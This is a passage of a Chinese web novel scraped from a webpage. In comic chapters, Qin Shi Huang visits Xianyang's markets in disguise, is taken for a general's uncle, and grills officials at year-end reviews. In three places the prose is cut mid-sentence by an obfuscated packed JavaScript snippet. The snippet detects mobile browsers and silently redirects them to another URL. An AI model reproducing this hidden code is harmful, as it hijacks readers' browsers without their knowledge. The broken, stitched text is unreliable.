老板看着手里沉甸甸的金子,愣了一下,又看了看嬴政那副“我说实话我有错吗”的表情,以及蒙毅那随时准备拔剑的架势,最终还是哼了一声,收起金子走了。 “算你们识相!” 李斯擦了把冷汗,拉着嬴政就要走:“公子,咱们……换个地方?” 嬴政看着桌上那碗几乎没动的面,若有所思:“李斯,你说,朕……我是不是说错话了?” 李斯苦笑:“公子,在民间,当面说人家东西不好,这叫……挑衅。” “原来如此。”嬴政点点头,“看来,宫外的规矩,和宫里不太一样。” 离开面馆,三人漫无目的地走着。 路过一家布庄,嬴政停下了脚步。橱窗里展示着一匹锦缎,颜色鲜亮,花纹繁复,看着颇为华贵。 “进去看看。” 布庄老板是个精瘦的中年人,一双小眼睛滴溜溜地转,见三人进来,立刻迎了上来。 “三位客官,想看点什么?小店新到了一批蜀锦,可是稀罕物!” 嬴政指了指那匹锦缎:“这个,怎么卖?” 老板上下打量了嬴政一番,见他衣着华贵,气度不凡,身边的“账房”出手阔绰,“护卫”气势逼人,眼珠一转,伸出五根手指:“这个数,五十金。” “五十金?”蒙毅眉头一皱,“老板,你当我们是外地来的?这布顶多十金。” “哎哟,这位爷,您这就外行了。”老板一脸夸张,“这可是上等的蜀锦,您看这织工,这颜色,整个咸阳城都找不出第二匹!要不是看这位公子气质脱俗,一般人我还不卖呢!” 嬴政没有说话,只是伸手摸了摸那匹布,手指在花纹上摩挲了一下,然后摇了摇头。 “怎么?公子嫌贵?”老板问道。 “不是嫌贵。”嬴政收回手,慢悠悠地说道,“这布,看着不错,但用的是去年的陈丝,织造时经纬线松紧不一,且染色不均,阳光下细看,有色差。” 老板脸色一变:“公子,您可别乱说,这可是……” “我没乱说。”嬴政打断他,语气平淡却带着一种不容置疑的权威,“这种布,我家库房里有十匹。是去年蜀郡进贡的次品,朕……我嫌它不够好,一直扔在库房角落里。” 老板:“……”进贡?次品?库房? 他张大了嘴,看着嬴政,仿佛在看一个怪物。 “你要是喜欢,”嬴政拍了拍老板的肩膀,一副“我很大方”的样子,“改天我让人给你送一匹来。反正放着也是占地方。” 老板腿一软,差点跪下。他就算再傻,也听出来了,眼前这位,绝对不是普通的富家公子。能说出“进贡”、“库房”这种话的,整个大秦,只有一个人…… “不……不用了!”老板冷汗涔涔,声音都在发抖,“小人……小人有眼无珠,冲撞了贵人!这布……这布小人送给您了!不,小人这就关门,这就走!” 说着,他手忙脚乱地就要去收摊。 嬴政看着他那副惊慌失措的样子,有些莫名其妙:“我只是实话实说,他为何如此害怕?” 李斯和蒙毅对视一眼,都在对方眼中看到了无奈。 陛下,您都把人家底裤都扒干净了,还问人家为什么害怕? “公子,咱们……还是走吧。”李斯赶紧拉着嬴政离开这个是非之地。 逛了一上午,三人也有些累了,便找了家茶肆歇脚。 茶肆里人不少,三教九流都有。三人找了个角落的位置坐下,要了一壶茶。 刚喝了两口,隔壁桌的议论声就传了过来。 那是几个穿着儒生服饰的中年人,看样子像是从外地来的。 “要我说,这始皇帝啊,就是命好。”一个留着山羊胡的儒生拍着桌子说道,“要不是他祖上积 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387654|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德,传下这基业,他能横扫六国?我看未必!” “就是,”另一人附和道,“你看他干的那些事,焚书坑儒,大兴土木,劳民伤财。这天下,迟早要……” “嘘!慎言!”旁边一人赶紧捂住他的嘴,紧张地看了看四周,“你不要命了!这可是咸阳!隔墙有耳!” “怕什么?”山羊胡不以为然,“这茶肆里都是咱们自己人。再说了,那暴君整天待在宫里,还能跑到这儿来听墙角?” “就是,听说他最近还在学什么长生不老术,我看他是想长生想疯了,早晚吃丹药吃死!” 几人越说越起劲,言辞也越来越放肆。 李斯和蒙毅的脸色已经黑得像锅底一样。蒙毅的手紧紧握着剑柄,青筋暴起,只要嬴政一声令下,他立刻就能把那几个不知死活的家伙砍成肉酱。 然而,嬴政却没有任何反应。他只是端着茶杯,慢慢地喝着,脸上看不出喜怒,仿佛那些人议论的不是他,而是某个不相干的路人。 “公子……”李斯低声唤道,声音带着一丝颤抖。 嬴政抬手,示意他噤声。 他放下茶杯,目光落在窗外熙熙攘攘的人群上,久久不语。 那几个儒生骂了一会儿,似乎也觉得无趣,结了账走了。 茶肆里恢复了安静。 “公子,要不要……”蒙毅做了个抹脖子的手势。 “不必。”嬴政摇摇头,“让他们说去吧。” “可是他们如此诋毁陛下……”李斯愤愤不平。 “诋毁?”嬴政轻笑一声,“他们说的,难道不是事实吗?” 李斯和蒙毅愣住了。 “朕确实焚了书,坑了儒,修了长城,建了阿房宫。”嬴政语气平静,“百姓受苦,朕知道。他们骂朕,也是应该的。” “陛下……”李斯想说什么,却不知该如何开口。 “朕只是没想到,”嬴政站起身,目光深邃,“在朕看不见的地方,有这么多人,在心里恨着朕。” 回宫的路上,气氛有些沉闷。 李斯看着嬴政沉默的背影,心里七上八下。今日之行,本想让陛下看看民间疾苦,没想到却看到了……民间的怨气。 “李斯。”嬴政突然开口。 “臣在。” “今日,你可有所获?”嬴政问。 李斯想了想,谨慎道:“臣……看到了百姓生活不易,也看到了……人心难测。” “嗯。”嬴政点点头,“朕也看到了。朕发现,宫外的面,确实不如宫里的好吃。宫外的布,确实不如宫里的好。但宫外的人……” 他顿了顿,缓缓道:“比宫里有意思。” 李斯和蒙毅对视一眼,没敢接话。 “宫里的人,见了朕,只会说好话,只会磕头,只会唯唯诺诺。”嬴政继续说道,“而宫外的人,敢拿着菜刀跟朕理论,敢把次品当宝贝卖,甚至……敢在茶肆里骂朕是暴君。” “这才是……活生生的人啊。” 李斯心中一震。他突然明白了,陛下今日为何要微服私访。他不仅仅是无聊,更是想……找回一点真实的感觉。 “还有一件事。”嬴政停下脚步,看向李斯。 “陛下请讲。” “朕今日在街上,看到了几幅朕的画像。”嬴政皱了皱眉,“画得……太丑了。要么凶神恶煞,要么肥头大耳,没有一个像朕的。” 李斯:“……”陛下,您关注的点是不是有点偏? “明天,”嬴政一脸严肃地吩咐道,“让宫里的画师来见朕。朕要亲自盯着他们画,务必要把朕画得……英俊一些,威严一些,起码……得像个人样。” 李斯哭笑不得:“诺,臣遵旨。” 夕阳西下,将三人的影子拉得很长。 嬴政走在前面,看着这座属于他的都城,心中百感交集。 他知道,这天下很大,人心很复杂。有赞美,就会有诋毁;有敬畏,就会有怨恨。他无法让所有人都满意,但他可以让所有人都……记住他。 至于画像? 嗯,这个必须得改。朕这么英俊潇洒,怎么能被画成那个鬼样子! 14. 陛下微服私访记2 咸阳东市,人声鼎沸,热闹非凡。 嬴政换上了一身略显陈旧的深衣,头发随意挽了个髻,脸上还特意让夏无且用草药抹黑了些,看着就像个家境尚可、但日子过得紧巴巴的小地主。 李斯和蒙毅跟在他身后,同样打扮朴素,一个扮作老管家,一个扮作车夫。 “陛下……不,老爷,”李斯压低声音,紧张地东张西望,“这东市鱼龙混杂,三教九流皆有,咱们还是……” “还是什么?”嬴政瞥了他一眼,“朕……我今日心情好,就想逛逛这市井之地。怎么,李管家觉得,这里配不上我的身份?” “不敢不敢!”李斯赶紧摇头,“只是……怕有不长眼的冲撞了老爷。” “有蒙毅在,怕什么?”嬴政拍了拍蒙毅的肩膀,“对吧,阿毅?” 蒙毅面无表情,手按在腰间的短刃上,沉声道:“老爷放心,谁敢靠近三步之内,属下剁了他的手。” 嬴政:“……”朕是来体验民情的,不是来扫黑除恶的。 “放松点,阿毅。”嬴政无奈道,“今日咱们是普通人,要随和,要……亲切。” “诺。”蒙毅嘴上应着,眼神却更加警惕了,像一头随时准备扑食的猎豹。 三人正说着,前方传来一阵喧哗。 “你这老东西!敢偷我的瓜!看我不打死你!” 只见一个满脸横肉的瓜贩,正揪着一个衣衫褴褛的老者,抬手就要打。 周围围了一圈人,指指点点,却没人敢上前阻拦。 “住手!”嬴政眉头一皱,出声喝道。 瓜贩动作一顿,转头看向嬴政,上下打量了一番,见他穿着普通,身边只跟着一个老头和一个车夫,顿时有了底气。 “哟,哪来的多管闲事的?”瓜贩冷笑道,“这老东西偷我的瓜,我教训他,天经地义!” “我没有偷!”老者急得满脸通红,“我是看你瓜好,想问问价,手刚碰到,你就说我偷!” “还敢狡辩!”瓜贩抬手又要打。 “够了。”嬴政上前一步,挡在老者身前,冷冷地看着瓜贩,“就算他偷了,一个瓜而已,至于动手打人?” “一个瓜而已?”瓜贩嗤笑一声,“你知道我这瓜多金贵吗?这是西域进贡的‘蜜瓜’种子种出来的,一个瓜值十文钱!这老东西,一看就是个穷鬼,赔得起吗?” “十文?”嬴政挑眉,“你这瓜,看着也就一般。” “一般?”瓜贩怒了,拿起一个瓜,用力一拍,瓜裂开,露出红瓤,“你看清楚了!这色泽,这香味!你买得起吗你?” 嬴政看了一眼,确实比普通甜瓜好点,但要说十文一个,纯属宰客。 “这瓜,我买了。”嬴政淡淡道。 “你买?”瓜贩一愣,随即眼珠一转,露出奸商的笑容,“行啊,你要买,可以。不过……得按我的规矩来。” “什么规矩?” “我这瓜,不单卖。”瓜贩指了指摊子,“要买,就把这一摊全买了。一共……五十个,五百文!” 周围一片哗然。 “五百文?抢钱啊!” “这一摊瓜顶多值两百文!” “这老板太黑了!” 李斯脸色一变,正要上前理论,却被嬴政抬手拦住。 嬴政看着瓜贩,嘴角勾起一抹玩味的笑:“五百文?可以。” 瓜贩大喜:“当真?” “蒙……阿毅,给钱。”嬴政吩咐道。 蒙毅二话不说,从怀里掏出一串半两钱,数了五百文,扔给瓜贩。 瓜贩接过沉甸甸的钱,眼睛都笑眯了:“哎哟,这位爷大气!这瓜是您的了!” 嬴政没理他,转身看向那老者:“老人家,这瓜,送你。” 老者愣住了:“送……送我?” “对,全送你。”嬴政指了指那一摊瓜,“你想吃就吃,想卖就卖,随你处置。” 老者激动得浑身颤抖,就要跪下磕头:“恩公!恩公啊!” “不必多礼。”嬴政扶住他,瞥了一眼目瞪口呆的瓜贩,冷冷道,“记住,这世上,有些东西,比钱金贵。” 说完,他转身就要走。 “等等!” 瓜贩突然喊住他,脸上带着一丝怀疑和贪婪:“这位爷,您……您是不是姓王?” 嬴政脚步一顿,皱眉:“姓王?” “您是……王离王将军府上的……二老爷吧?”瓜贩凑近了些,压低声音,脸上带着谄媚的笑,“小的早就听说,王二老爷为人豪爽,最讲义气,今日一见,果然名不虚传!” 嬴政:“???” 李斯:“!!!” 蒙毅:“……”手按在了刀柄上。 气氛瞬间变得有些诡异。 嬴政看着瓜贩那张充满期待和讨好的脸,又看了看身后一脸“陛下您要砍谁”的蒙毅,和一脸“完了完了要穿帮了”的李斯,心中突然升起一股荒谬感。 王离的二叔? 王离是蒙恬的副将,王翦老将军的孙子,嬴政自然是认识的。但他什么时候多了个“二老爷”? “你……认错人了。”嬴政淡淡道。 “不可能!”瓜贩斩钉截铁,“小的这双眼睛,毒得很!您这气度,这派头,这一掷千金的豪爽劲儿,除了王家的二老爷,还能有谁?” 他越说越激动,声音也大了起来:“大家都来看啊!这位就是王离将军的二叔,王二老爷!王二老爷今日光临咱们东市,那是咱们东市的福气啊!” 周围的百姓一听,顿时炸了锅。 “王二老爷?就是那个……据说在战场上救过王离将军命的那个?” “听说他武艺高强,曾经单枪匹马闯匈奴大营!” “我还听说他乐善好施,最喜欢接济穷人!” “怪不得刚才那么大方,原来是王二老爷!” “王二老爷威武!” “王二老爷仁义!” 众人纷纷围了上来,七嘴八舌地议论着,看着嬴政的眼神充满了崇拜和好奇。 嬴政被围在中间,走也不是,留也不是,脸黑得像锅底。 李斯在一旁急得直冒汗,拼命给蒙毅使眼色:快想办法!再这样下去,陛下就要被当成王离的叔叔供起来了! 蒙毅眉头紧锁,手已经握住了刀柄,只要嬴政一声令下,他就准备杀出一条血路。 然而,嬴政却突然笑了。 他抬手,示意蒙毅稍安勿躁,然后看向那瓜贩,语气带着几分玩味:“哦?你对我……对王二老爷,很了解?” “那是自然!”瓜贩见“王二老爷”似乎承认了,更加得意,“小的虽然只是个卖瓜的,但消息灵通着呢!谁不知道,王家二老爷虽然不在朝为官,但深得王老将军真传,是咱们大秦的隐世高手!” “隐世高手?”嬴政挑眉,“我怎么不知道我这么厉害?” “哎哟,您这是谦虚!”瓜贩凑得更近,神秘兮兮地说道,“小的还听说,陛下对您都赞赏有加,私下里常召您进宫……咳咳,那个,指点武艺呢!” 嬴政:“……”朕什么时候召王离的叔叔进宫指点武艺了?朕怎么不知道? “所以,”嬴政看着瓜贩,慢悠悠地说道,“你觉得,我就是那个……深得陛下赏识、武艺高强、乐善好施的王家二老爷?” “千真万确!”瓜贩拍着胸脯,“您这气质,这眼神,这……这走路带风的样子,错不了!” 嬴政点了点头,突然转头看向李斯:“李管家,听见了吗?他说我是王二老爷。” 李斯冷汗涔涔,硬着头皮点头:“是……是,老爷……不,二老爷……” “那好。”嬴政嘴角勾起一抹意味深长的笑,“既然大家都这么热情,那今日,我就当一回这‘王二老爷’。” 他看向周围的百姓,朗声道:“诸位乡亲,既然大家抬爱,那今日这东市的瓜果蔬菜,我王……王二,包了!大家随便拿,随便吃,钱,算我的!” “哗——!” 人群瞬间沸腾了。 “王二老爷万岁!” “谢王二老爷!” 百姓们欢呼着冲向各个摊位,摊主们先是愣了一下,随即狂喜,纷纷开始抢着给“王二老爷”介绍自己的货品。 “王二老爷!尝尝我这梨!甜得很!” “王二老爷!我这羊肉新鲜!刚宰的!” “王二老爷……” 嬴政被热情的百姓簇拥着,脸上带着笑意,心里却在冷笑。 王离啊王离,你小子在民间名声挺响啊,连朕的风头都敢抢。 等着,回宫朕就给你加练。 东市的骚动,很快惊动了咸阳令。 “什么?王离将军的二叔在东市撒钱?”咸阳令听到汇报,吓得手里的茶杯都掉了,“快!备车!去东市!” 那可是王家的二老爷!王翦老将军的亲弟弟!王离将军的二叔!这要是在他的地盘上出点什么事,他这咸阳令也不用当了! 咸阳令火急火燎地赶到东市,看到眼前的一幕,差点晕过去。 只见那位传说中的“王二老爷”,正坐在一个馄饨摊前,手里端着一碗馄饨,吃得津津有味。他身边围满了百姓,个个脸上洋溢着幸福的笑容,手里拿着各种瓜果肉食,嘴里不停地喊着“王二老爷仁义”。 “下官咸阳令,参见王二老爷!”咸阳令连滚带爬地冲过去,就要行礼。 嬴政抬起头,看了他一眼,用眼神制止了他下跪的动作,淡淡道:“咸阳令?你怎么来了?” “下官……下官听闻二老爷在此,特来……特来护卫!”咸阳令擦了把冷汗,小心翼翼地说道。 “护卫?”嬴政笑了笑,“光天化日,朗朗乾坤,咸阳城内,还需要护卫?” “是……是下官多虑了。”咸阳令赶紧改口,“二老爷这是……体察民情?” “嗯,随便逛逛。”嬴政放下碗,擦了擦嘴,“这馄饨不错,就是汤咸了点。咸阳令,这市井的卫生,还得抓抓。” “是是是!下官回去就整顿!立刻整顿!”咸阳令连连点头。 就在这时,一个不和谐的声音响起。 “哟,这不是王二吗?怎么,又在这儿充大头蒜呢?” 众人循声望去,只见几个衣着华丽的公子哥,摇着扇子走了过来,为首一人,看着嬴政,脸上带着不屑和嘲讽。 咸阳令脸色一变:“胡公子!不得无礼!这位是……” “我知道,王离的二叔嘛。”胡公子打断他,走到嬴政面前,上下打量了一番,嗤笑道,“穿得人模狗样的,还真把自己当个人物了?听说你刚才在这儿撒钱?怎么,王家是没人了,让你这个旁支出来刷存在感?” 嬴政放下手中的筷子,看着这个不知死活的年轻人,眼中闪过一丝寒光。 “胡公子?”他看向咸阳令。 咸阳令冷汗直流,小声道:“是……是胡亥公子的……远房表弟。” 原来是胡亥的亲戚。怪不得这么嚣张。 嬴政心中冷笑,脸上却不动声色:“胡公子似乎对我……很有意见?” “意见?”胡公子扇子一收,指着嬴政的鼻子,“我告诉你,王二,别以为你姓王就了不起!在这咸阳城,是龙你得盘着,是虎你得卧着!今天这事儿,你最好给我个交代,否则……” “否则如何?”嬴政淡淡问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387655|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “否则,我就让你知道知道,这咸阳城,谁说了算!”胡公子嚣张道。 “哦?”嬴政笑了,他站起身,走到胡公子面前,拍了拍他的肩膀,“年轻人,火气不要这么大。这咸阳城谁说了算,你说了不算,我说了也不算。” “那谁说了算?” “自然是……”嬴政凑近他耳边,用只有两人能听到的声音说道,“陛下说了算。” 胡公子一愣,随即大笑:“陛下?陛下日理万机,哪有空管你这点破事?你以为你是谁?还能惊动陛下?” “我自然不能。”嬴政摇摇头,指了指咸阳令,“但他能。” 咸阳令:“???” 嬴政看向咸阳令,脸色一沉:“咸阳令,此人当街辱骂朝廷命官家属,寻衅滋事,扰乱市容,该当何罪?” 咸阳令浑身一颤,看着嬴政那冰冷的眼神,突然福至心灵,明白了什么,立刻挺直腰板,厉声道:“来人!将这狂徒拿下!重打二十大板,关入大牢,等候发落!” “你敢!”胡公子大惊,“我是胡亥公子的表弟!你敢动我?” “管你是谁的表弟!”咸阳令义正言辞,“王子犯法与庶民同罪!带走!” 衙役们一拥而上,将胡公子等人拿下。 胡公子被拖走时,还在大喊:“王二!你给我等着!我表兄不会放过你的!” 嬴政看着他的背影,摇了摇头,对咸阳令说道:“咸阳令,今日之事,你处理得很好。不过……” “二老爷请讲!” “以后这种仗势欺人的纨绔子弟,见一个,抓一个。”嬴政冷冷道,“不管他是谁的表弟。” “诺!”咸阳令肃然应道,心中对这位“王二老爷”的敬畏又加深了几分。 不愧是王家的长辈,这气势,这手段,简直和陛下如出一辙! 微服私访结束,回到咸阳宫。 嬴政换回龙袍,坐在御座上,脸色平静,看不出喜怒。 李斯和蒙毅跪在下首,大气都不敢出。 “今日之事,你们怎么看?”嬴政缓缓开口。 李斯硬着头皮道:“陛下,臣以为,此事……纯属意外。那瓜贩有眼无珠,胡言乱语,陛下不必放在心上。” “哦?意外?”嬴政挑眉,“那为何百姓都信了?为何咸阳令也信了?甚至……连胡亥的那个表弟都信了?” 李斯哑口无言。 “这说明,”嬴政站起身,走到窗边,看着远处的咸阳城,“在百姓心中,王家的权势,已经到了可以‘假冒’朕的地步了。” 李斯和蒙毅心中一凛,连忙跪下:“陛下息怒!王家忠心耿耿,绝无二心!” “朕知道王翦、王离忠心。”嬴政转过身,目光深邃,“但树大招风。今日他们能认错朕,明日,会不会有人借着王家的名头,做些大逆不道之事?” “这……”李斯冷汗直流。 “传旨。”嬴政沉声道。 “臣在!” “第一,胡亥那个表弟,削去爵位,流放边关。告诉胡亥,管好他的亲戚,再有下次,朕连他一起罚。” “诺!” “第二,王离……”嬴政顿了顿,“练兵不力,纵容家眷在外招摇,罚俸半年,即日起,去骊山大营,给朕练三个月的兵,练不好,不准回咸阳。” 蒙毅:“……诺。”王离将军,对不住了。 “第三,”嬴政看向李斯,“查。给朕查清楚,这‘王二老爷’的名头,到底是怎么传出来的。是有人故意造谣,还是……确有其人。” “臣遵旨!” 数日后,骊山大营。 王离正在校场上挥汗如雨地练兵,突然接到圣旨。 “王离接旨!” 王离赶紧跪下。 “奉天承运,皇帝诏曰:王离练兵有功,特赐……黄金百两,锦缎十匹,并……赐名‘王二’,以示嘉奖。钦此!” 王离:“???” “公公,”王离一脸茫然,“这……赐名‘王二’……是何意?” 传旨太监笑眯眯地说道:“将军,这是陛下的恩典啊!‘二’者,次也,陛下这是夸将军是我大秦第二勇士呢!仅次于蒙恬将军!” 王离:“……”我怎么觉得这名字听着这么像……卖瓜的? “还有,”太监补充道,“陛下说了,让将军好好练兵,争取早日把‘二’字去掉,当个‘王一’。” 王离:“……”陛下,您这是夸我还是骂我呢? 与此同时,咸阳东市。 那个卖瓜的瓜贩,因为“慧眼识英雄”,被咸阳令“特批”,获得了在东市最好的位置摆摊的资格,生意红火。 “老板,你这瓜保熟吗?”有客人问。 “保熟!绝对保熟!”瓜贩拍着胸脯,“这可是王二老爷亲口夸过的瓜!王二老爷知道吗?就是那个……深得陛下赏识、武艺高强、乐善好施的王家二老爷!” “真的假的?” “千真万确!”瓜贩神秘兮兮地压低声音,“我跟你们说,那天王二老爷就坐在这儿,跟我说……” “说什么?” “说……这瓜,甚甜,甚好,甚合朕……真意!” 瓜贩得意洋洋地吹嘘着,完全没注意到,不远处,几个穿着便服的“路人”,正冷冷地盯着他,在小本子上记下了什么。 而远在咸阳宫的嬴政,看着暗卫送来的密报,嘴角微微上扬。 “王二……甚好。” 他拿起朱笔,在竹简上写下四个字: “民不知君,君何以知民?” 看来,这微服私访,还得常搞。 下次,朕扮个谁好呢? 15. 年终考核的N种死法 岁末的咸阳宫,没有一丝过年的喜庆,反而弥漫着一股比北疆寒风还要凛冽的肃杀之气。 章台殿内,烛火通明,亮如白昼。地上铺满了竹简和帛书,堆得如同小山一般。嬴政端坐于御座之上,冕旒垂落,遮住了他锐利的眉眼,只露出紧抿的薄唇和线条冷硬的下颌。 他的左手边,是已经批阅完毕的“合格区”,竹简堆得整整齐齐。右手边,是“待议区”,数量不多,但每一卷都代表着某个官员即将到来的噩梦。而正前方,则是“正在审阅区”,一卷竹简正摊开在案几上。 李斯、蒙毅、王绾等重臣分列两侧,个个屏息凝神,大气都不敢出。只有朱笔划过竹简的“沙沙”声,和炭盆里偶尔爆出的噼啪声,在死寂的大殿中回响。 “呵。” 一声极轻的冷笑,打破了沉寂。 李斯感觉自己的心脏猛地收缩了一下。来了,陛下要开始“杀”人了。 嬴政拿起朱笔,在那卷竹简上重重划了一道,随手扔到一旁,语气平淡无波:“琅琊郡守,今年考核,下下等。” “陛下,”李斯硬着头皮上前一步,“琅琊郡今年并无大过,为何……” “并无大过?”嬴政抬眸,目光如刀,“琅琊郡今年上报,开垦荒地五百顷。朕查了去年的记录,琅琊郡当时上报的荒地总数,只有三百顷。凭空多出两百顷,他是从东海里填出来的,还是把百姓的房子给拆了?” 李斯:“……”他默默闭上了嘴。 “革职查办。”嬴政吐出四个字,不再多言,伸手拿起下一卷。 这就是大秦的年终考核。没有温情脉脉的面纱,没有你好我好的官场习气,只有冷冰冰的数据和更冷冰冰的帝王意志。嬴政的记忆力惊人,对数字的敏感度更是达到了变态的程度,任何试图糊弄他的官员,下场都只有一个——去骊山修陵,或者去长城搬砖。 “下一个,泗水郡守。”嬴政翻开竹简,快速浏览。 李斯在心里默默为这位同僚祈祷。泗水郡今年似乎没什么大纰漏,应该能平安过关。 然而,嬴政的眉头却越皱越紧。 “泗水郡守,”嬴政放下竹简,手指敲击着桌面,“你的报告,写得很详细啊。” “谢陛下夸奖……”李斯下意识接话,随即意识到不对,赶紧闭嘴。 “粮食产量,比去年增长一成;人口,新增三百户;治安,全年无大案。”嬴政缓缓念出数据,语气听不出喜怒,“很好。但是……” 那个“但是”,让所有人的心都提到了嗓子眼。 “这最后一条,”嬴政指着竹简末尾,“‘臣家中狸奴产子六只,因公务繁忙,未及上报,望陛下恕罪’……这是什么意思?” 李斯一愣,狸奴?猫? “陛下,”李斯小心翼翼道,“或许是郡守觉得,此事虽小,但未及时汇报,有失职之嫌,故而请罪?” “有失职之嫌?”嬴政挑眉,“他确实有失职之嫌,但不是因为猫。” 他猛地将竹简摔在案上,声音陡然转冷:“泗水郡去年粮食产量是五十万石,今年上报五十五万石,增长一成。但朕记得,泗水郡去年遭了蝗灾,实际收成只有四十万石!他去年虚报了十万石,今年为了掩盖,又虚报了十五万石!这猫生了六只崽,他倒是记得清清楚楚,怎么,粮食少了十万石,他就忘了?!” 大殿内一片死寂。李斯冷汗涔涔,他完全没想到,陛下竟然能从一句关于猫的“请罪”中,联想到去年的账目问题! “好一个‘公务繁忙’!”嬴政冷笑,“忙到连粮食少了十万石都看不见,却看得见猫生了六只崽?看来,这郡守的位置,不如让给猫来坐!” “陛下息怒!”李斯赶紧跪下。 “息怒?”嬴政站起身,走到那堆竹简前,一脚踢翻,“朕如何息怒?一个个,都把朕当傻子糊弄!” 他指着那卷竹简,对李斯道:“传旨,泗水郡守,欺上瞒下,革职查办,家产充公。至于那六只猫……既然他这么喜欢,让他带着一起去骊山,给朕抓老鼠去!” “诺……”李斯颤声应道。 处理完泗水郡守,嬴政的火气似乎消了一些,重新坐回御座,拿起下一卷。 “云阳县令。”嬴政念出名字,语气依旧冰冷。 “臣在……”一个微胖的中年官员连滚带爬地从殿外进来,他是今日被特许进殿述职的几位地方官之一,此刻吓得面如土色。 “你的报告,写得不错。”嬴政看着他,“推行新政,百姓拍手称快。很好。” 云阳县令心中一喜,刚要谢恩,却听嬴政话锋一转。 “唯独这一条,”嬴政指着竹简,“‘有一老农,因家中耕牛走失,谩骂三日。现已寻回耕牛,并对老农严加训诫’……说说吧,怎么回事?” 云阳县令松了口气,原来是这事,他早就准备好了说辞:“回陛下,那老农粗鄙无知,因牛丢了便口出恶言,辱及……辱及朝廷。臣已将他抓来打了二十大板,如今他已悔过,感恩戴德……” “朕问的是,”嬴政打断他,眼神锐利,“牛是怎么丢的?” “啊?”云阳县令一愣,“就……就是没拴好,自己跑了吧……” “跑哪儿去了?” “跑……跑山里去了……” “什么时候丢的?什么时候找到的?谁找到的?”嬴政的问题一个接一个,如同连珠炮。 云阳县令额头冒汗,支支吾吾道:“大概……大概三天前丢的,昨天找到的,是……是衙役找到的……” “撒谎!”嬴政猛地一拍桌子。 云阳县令吓得噗通一声跪倒:“陛下恕罪!臣……臣句句属实!” “句句属实?”嬴政拿起另一卷竹简,那是御史大夫的密报,“御史台报,云阳县上月强征民夫修水渠,老农家的牛被征用,累死在工地上。你为了掩盖此事,谎称牛丢了,还抓了老农的儿子顶罪,逼老农闭嘴。是不是?!” 云阳县令瘫软在地,浑身抖如筛糠:“陛下……臣……臣知罪!” “知罪?”嬴政冷冷地看着他,“你不仅欺压百姓,还敢在朕面前撒谎!来人,拖出去,重打一百大板,革职查办,永不录用!” “陛下饶命!陛下饶命啊!”云阳县令的哭喊声渐渐远去。 嬴政看着剩下的官员,声音不大,却字字诛心:“朕要的是实话,是细节。牛丢了,怎么丢的?怎么找的?百姓骂街,骂的什么?为什么骂?这些,都比你们那些花团锦簇的废话,重要得多!” 众臣齐声应诺,心中警铃大作。看来,今年想蒙混过关,是绝无可能了。 接下来的几个时辰,嬴政以惊人的效率,又处理了几个试图糊弄的官员。有的因为修路里程数少报了十里,有的因为人口增长数对不上账,无一例外,都被罚俸、降职,甚至流放。 终于,轮到了边郡守将的奏报。 “北地郡守将,蒙恬副将,王离。”嬴政念出名字。 王离大步走进殿内,行礼:“臣王离,参见陛下!” “起来吧。”嬴政对蒙家军一向宽厚,语气缓和了些,“你的报告,朕看了。击退匈奴三次,斩首两千级,不错。” “谢陛下!”王离松了口气。 “但是,”嬴政放下竹简,看着他,“这最后一句,‘军粮中偶有石子,将士们反映硌牙’……是怎么回事?” 王离赶紧解释:“陛下,此乃小事。或许是运粮途中颠簸,混入了一些砂石,臣已责令后勤筛检,绝不会影响将士们用饭!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387656|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小事?”嬴政站起身,走到王离面前,“王离,你带兵多年,难道不知道,军粮是军心之本?将士们在前线浴血奋战,回来吃口热饭,还要硌掉牙,这叫小事?” 王离低下头:“臣知错,臣一定严查!” “不仅要严查,还要查清楚,石子是哪来的?”嬴政目光如炬,“是运粮的人手脚不干净,以次充好?还是仓库保管不利,混入了杂质?亦或是……有人故意为之,想动摇军心?” 王离心中一凛:“臣……臣不敢想。” “不敢想?”嬴政拍了拍他的肩膀,语气沉重,“王离,你是将门之后,带兵打仗,朕放心。但治军,不仅要严,还要细。一颗石子,看似小事,却能折射出大问题。这次是石子,下次,会不会是毒药?” 王离浑身一震,冷汗瞬间湿透了后背:“臣明白了!臣回去立刻彻查,绝不姑息!” “去吧。”嬴政挥挥手,“记住,细节决定成败。下次战报,附上作战地图,朕要看你们是怎么打的。” “诺!”王离心悦诚服地退下。 考核一直持续到深夜。 嬴政揉了揉发胀的太阳穴,拿起最后一卷竹简。这是来自会稽郡守的报告。 “会稽郡守,今年的政绩……”嬴政快速浏览,眉头越皱越紧,“开荒万亩,修路百里,人口翻倍,税收增长五成……呵,写得比唱得还好听。” 李斯在一旁不敢接话。会稽郡远离中枢,向来难以管理,这位郡守能把政绩吹成这样,也是个人才。 